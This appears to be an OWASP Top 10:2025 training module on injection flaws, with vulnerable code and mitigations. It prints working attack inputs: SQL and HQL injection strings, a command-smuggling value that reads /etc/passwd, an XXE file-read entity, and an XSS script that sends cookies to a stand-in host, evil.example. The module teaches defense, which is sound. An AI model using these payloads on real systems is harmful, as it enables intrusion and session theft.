Loading module...
Loading module...
OWASP-05
Injection flaws occur when untrusted data is sent to an interpreter as part of a command or query.
An injection vulnerability allows untrusted user input to be sent to an interpreter (browser, database, command line) and causes the interpreter to execute parts of that input as commands.
Impact: 100% of applications tested for some form of injection. Greatest number of CVEs for any category with 37 CWEs. Includes Cross-site Scripting (30k+ CVEs) and SQL Injection (14k+ CVEs).
User-supplied data is not validated, filtered, or sanitized by the application.
Dynamic queries or non-parameterized calls without context-aware escaping used directly in the interpreter.
Unsanitized data used within Object-Relational Mapping (ORM) search parameters to extract additional sensitive records.
Hostile data directly used or concatenated - SQL or command contains structure and malicious data in dynamic queries, commands, or stored procedures.
An application uses untrusted data in SQL query construction:
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";An attacker modifies the id parameter to:
' OR '1'='1
Resulting URL:
http://example.com/app/accountView?id=' OR '1'='1
Impact: Query returns all records from accounts table. More dangerous attacks could modify/delete data or invoke stored procedures.
Blind trust in frameworks may result in vulnerable queries:
Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");Attacker supplies:
' OR custID IS NOT NULL OR custID='
Impact: Bypasses filter and returns all accounts. While HQL has fewer dangerous functions than raw SQL, it still allows unauthorized data access when user input is concatenated.
Application passes user input directly to OS command:
String cmd = "nslookup " + request.getParameter("domain");
Runtime.getRuntime().exec(cmd);Attacker supplies:
example.com; cat /etc/passwd
Impact: Executes arbitrary commands on the server, potentially exposing sensitive system files or gaining shell access.
A social application lets users set a free-text "bio" on their profile. The server stores the bio as-is and the profile page renders it directly into HTML without escaping:
<!-- vulnerable template -->
<div class="bio">{{ user.bio | safe }}</div>A malicious user sets their bio to:
<script>document.location='https://evil.example/steal?c='+document.cookie</script>When any other user views that profile, the browser executes the injected script in the context of the victim's session. The script reads document.cookie and sends it to the attacker, who replays the session cookie to impersonate the victim.
Impact: Session hijack, credential theft, account takeover at scale (every viewer of the malicious profile is a victim). The fix is to escape output by default: render user-supplied text as text, not as HTML. Frameworks that auto-escape templates (React JSX, Django templates, Rails ERB with <%= %>) make this the default; bypasses like dangerouslySetInnerHTML, | safe, or html_safe should be rare and audited.
The preferred option is to use a safe API that:
Warning: Even parameterized stored procedures can introduce SQL injection if PL/SQL or T-SQL concatenates queries and data or executes hostile data with EXECUTE IMMEDIATE or exec().
Always use parameterized queries (prepared statements):
// Safe - parameterized query
String query = "SELECT * FROM accounts WHERE custID = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, request.getParameter("id"));
ResultSet results = pstmt.executeQuery();Use positive server-side input validation:
For residual dynamic queries, escape special characters using interpreter-specific escape syntax.
Warning: SQL structures like table names and column names cannot be escaped - user-supplied structure names are dangerous (common issue in report-writing software).
A related class of injection vulnerabilities has become common in Large Language Models (LLMs). See OWASP LLM Top 10: LLM01:2025 Prompt Injection.
When an XML parser resolves external entities declared in untrusted XML input, an attacker who controls any XML fed to the parser can make the server read local files, make outbound network requests (a form of SSRF), or in some parsers execute code.
Vulnerable pattern (Java, default DocumentBuilderFactory):
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(userSuppliedXmlStream);Attacker input:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>&xxe;</root>On parsing, the server resolves the &xxe; entity, reads /etc/passwd, and places its contents in the parsed document node. Wherever that node is subsequently rendered or returned, the file contents leak.
Mitigation: disable DTD processing and external entity resolution on every XML parser:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);Prefer formats that don't have this failure mode in the first place (e.g., JSON) for any new inter-service protocol.
Why this also appears under A02 Security Misconfiguration: OWASP 2025 catalogs XXE under A02 because the root cause is a misconfigured XML parser: the library ships with external-entity resolution enabled and the application never turned it off. Mechanically, the attack itself is injection-shaped: untrusted input drives the parser to take an unintended action. The two modules cover the same vulnerability from the two angles a developer encounters it: "my parser shouldn't be resolving external entities at all" (A02) and "my input channel accepts untrusted XML" (A05).
Content adapted from OWASP Top 10:2025, licensed under CC BY-SA 4.0